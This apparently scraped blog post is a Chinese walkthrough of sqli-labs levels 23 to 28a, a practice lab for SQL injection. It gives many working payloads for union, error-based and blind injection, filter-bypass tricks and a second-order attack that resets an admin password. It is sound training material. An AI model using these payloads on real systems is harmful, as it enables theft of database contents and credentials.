zoukankan      html  css  js  c++  java
  • sqli-libs(23-28a关)

    Less_23

    首先在php文件中加入echo $sql;echo "<br>";

     

    方法一: %00

    输入?id=1’,报错,说明存在注入漏洞:

     

    输入?id=1' --+,此时无法进行闭合:

     

    在第一关中,我们可以看到可以正常使用闭合,此时我们查阅源代码:(可知,源码对 --+#进行了过滤,所以这里我们只能使用and或者or语句进行闭合)

    依然可以使用另外一种特殊的注释符 %00通过这个注释符可以判断列数:

     

    url末尾将--+替换为 ;%00   其余的均和less-1关相同例如查列:

    输入?id=1' order by 3;%00

     

    查找回显位置:?id=-1'  union select 1,2,3    ;%00

     

    查库名:/?id=-1‘  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00

     

    查表名:/?id=-1‘  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00 

     

    差字段名:/?id=-1‘  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00

     

    查字段中所有的值:/?id=-1‘  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00

     

    输入:?id=-1'order by 10 and '1'='1

    我们已经知道了这个只有三列,但是回显结果没有报错

     

     

     

    我们将上面语句中的and改成or,返回结果仍没有报错

     

     

     

    这是由于mysql解析顺序使得order by 在执行时候被忽略了

     

    我们可以用union select的另一种方式来进行查询

     

    输入:?id=1' union select 1,2,3'

     

     

     

    输入:?id=-1' union select 1,2,3' 我们将前面的值报错,使得前面值无法查询,此时在3处进行闭合操作(其中-1可以换成任意一个超出数据库的数值)

     

     查询数据库: ?id=-1‘ union select 1,2,database()’

     

    查询库中信息:?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) '

    其他操作与上述类似;

    Less23方法一总结:

     

    方法二:报错注入

    输入: ?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1  爆出数据库

     

    输入: ?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1  查询所有的数据库,使用limit进行逐个查询。

     

    Less_24

    补充知识:二次注入

     

     

    24关我们使用二次注入:

    查询users表信息,找到admin的密码,密码为admin

     

    我们用admin’# 注册一个恶意账号,再登录 密码为123456

     

    我们修改admin’#的密码  密码为111111

     

    admin  111111结果登录成功

     

     

      

    Less24总结

     

     

    Less_25

    首先在PHP文件中添加:echo $sql;  echo “<br>”;

     

    输入?id=1,返回正常:

     

    输入?id=1’ ,报错,存在注入漏洞;

     

    输入?id=1' order by 3--+发现报错,下方提示显示or被过滤;

     

     

    查看源码,得知or and 都被过滤;

     

    方法一:尝试双写

     输入?id=1' oorrder by 3--+,回显正常

     

     输入?id =-1‘  union select 1,2,3--+  获得回显位置

     

    所有位置的or and 都需要双写

    查库:?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+

     

     查表:?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+

     

    查字段:?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

     

    查字段中得值: ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

     

      

    方法二:or替换为|| 基于报错的注入

    输入: ?id=-1‘  || 1=1--+  存在注入;

     

    输入: ?id=-1'  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+  查所在数据库;

     

    输入: ?id=-1'  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+ 查当前所有数据,此时不使用group_concat(),因为数据显示不完整

     

    Less_25a

    Less25a  没有任何包裹, or  and 要双写

     输入?id=1 回显正常;

     

    输入 ?id=1’  回显异常,数据消失,存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

     

    查有多少列: ?id=1 oorrder by 3--+  

     

    查回显位置: ?id=-1 union select 1,2,3--+

     

    查库:?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

     

    查字段: ?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

     

    查字段信息: ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 

     

    基于时间的布尔盲注

       

    1. 输入: ?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 判断数据库的长度;
    2. 输入: ?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+  判断当前数据库的组成

    输入: ?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+

    判断所有的数据库,

    然后依次进行下去。

     

     

     

    布尔盲注

    输入:?id=-1 oorr length(database())>1--+ 回显正常,说明此时数据库长度大于1

     

    输入:?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+   回显正常,说明此时数据库第一个字母大于a

     

    输入:?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+,回显异常,说明我们语句是正确的;

     

    然后依次进行下去。

    Less25a总结

     

    Less_26

    输入: ?id=1  回显正常;

     

    输入:  ?id=1’ 出现报错,说明可能存在注入漏洞;

     

    输入: ?id=1’ --+ 显示错误 提示中没有--+  

     

     输入:  ?id=1’ ;%00 显示正常;

     

    查看源代码可知所有or and 注释符 空格 都被替换

     

    输入: ?id=1’ oorr ‘1’=’1 可以正常登陆;or可以用||替换)

     

     输入: ?id=1’ union select 1,2,3 ;%00  可以发现union select之间没有了空格

     

    解决办法:

    or可以用||替换

    and可以用&&   %26%26替换

    注释符用;%00替代

    空格用%a0替代

    采用注入报错

    查库:?id=1‘  || updatexml(1, concat(0x7e, ( database()  ) ),1)  || ’1‘=‘1

     

    查表:

     ?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479)  ) ),1)  || ’1‘=‘1

     

    查字段: 

    ?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name = 0x7573657273)  ) ),1) || ’1‘=‘1

     

    查字段中的值:

    ?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  ) ),1) || ’1‘=‘1             (不完整)

     

    改变id的值可以查看所有的数据

    ?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  where (id=3) ) )   ,1) || ’1‘=‘1 

     

     

    使用union select 要使用%a0来代替空格  注释符用;%00  或者 ||’1’=’1

     

    Less_26a

      id=('1')包裹

    输入?id=1   回显正常;

     

    输入 ?id=1’ 回显错误;

     

    查看源代码:可以看到和26关一样,将这些符号过滤;

     

    看源码可知,26a将错误不进行打印,所以此关不能使用注入报错;

     

    我们使用union select将空格都用%a0替代进行操作即可:

    查有多少列:?id=1') %a0  oorrder %a0  by %a0  3 ;%00

     

    查看回显位置:?id=111') %a0  union  %a0 select %a0 1,2,3 ;%00

     

    后面操作和前面操作类似。

    Less_27

    输入?id=1 回显正常;

     

    输入?id=1’  回显错误;

     

    输入?id=1’ ;%00  回显正常;

     

    查看源码,发现select  union 注释符 空格 也都被注释了;

     

    方法一:大小写混写

    因为union select 规矩的全是大写或者全是小写,那我们尝试大小写混合写

     

    输入 ?id=111' %a0 uNion  %a0  sElect  %a0 1, 2, 3    ;%00   回显位置;

     

    输入 ?id=111' %a0 uNion  %a0  sElect  %a0 1, 2,group_concat(schema_name)  %a0  from  %a0 information_schema.schemata    ;%00   查库;

     

    其他和前面类似。

    方法二:使用报错注入

    输入:?id=1'    %a0  ||  %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1  查库

     

     

     其他操作和26类似。

     

     

    方法三:基于时间的盲注;   %26%26替代&&  and

     

    输入:?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  '1'='1

     

    注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会为真

    输入:?id=1' %26%26 if( length(database())=5, 1, sleep(5)    )  || %0a  '1'='1

     

     

    Less_27a

    less27a使用””包裹   

     

     

    其他与第27类似。

     

     

     

     

    Less_28

    Less-28使用(’’)包裹

     

    输入 ?id=1 回显正常

     

     

     

    输入 ?id=1’) --+ 回显错误

     

     

     

    输入 ?id=1’) ;%00 回显正常

     

     

    查看源码,发现union select联合查询  空格 注释符也都被过滤

     

     

    方法一:%a0代替空格

    输入 ?id=1') %a0 order %a0 by %a0 3;%00  查看有多少列;

     

     

     输入:?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00  查看回显位置;

     

    也可以输入:?id=1111') %a0 union %a0 select %a0 1,2,3 || 1=(1   查看回显位置; ;%00可替换为|| 1=(1

     

     输入 ?id=1111') %a0 union %a0 select %a0 1,2,group_concat(1,database(),1) ;%00  得到数据库

     

     后面查询操作和前面类似。

     

     

    方法二:基于时间的盲注

      输入 ?id=1') %a0 %26%26  if( length(database())>8, 1, sleep(5)) ;%00

     

     

     

    输入:?id=1') %a0 %26%26  if( length(database())>1, 1, sleep(5)) ;%00

     

    其他操作和前面类似。

     

     

    Less_28a

    Less-28a:使用(‘’)包裹

    查看源码:

     

    此关没有过滤空格注释符,其他语句和关类似。

  • 相关阅读:
    .NET框架设计—常被忽视的C#设计技巧
    判断网络是否链接
    ADO.NET入门教程(五) 细说数据库连接池
    爬虫selenium中截图
    爬虫极滑块验证思路
    Linux 磁盘分区、挂载
    linux中crontab任务调度
    第30课 操作符重载的概念
    第29课 类中的函数重载
    第28课 友元的尴尬能力
  • 原文地址:https://www.cnblogs.com/199904-04/p/12295728.html
Copyright © 2011-2022 走看看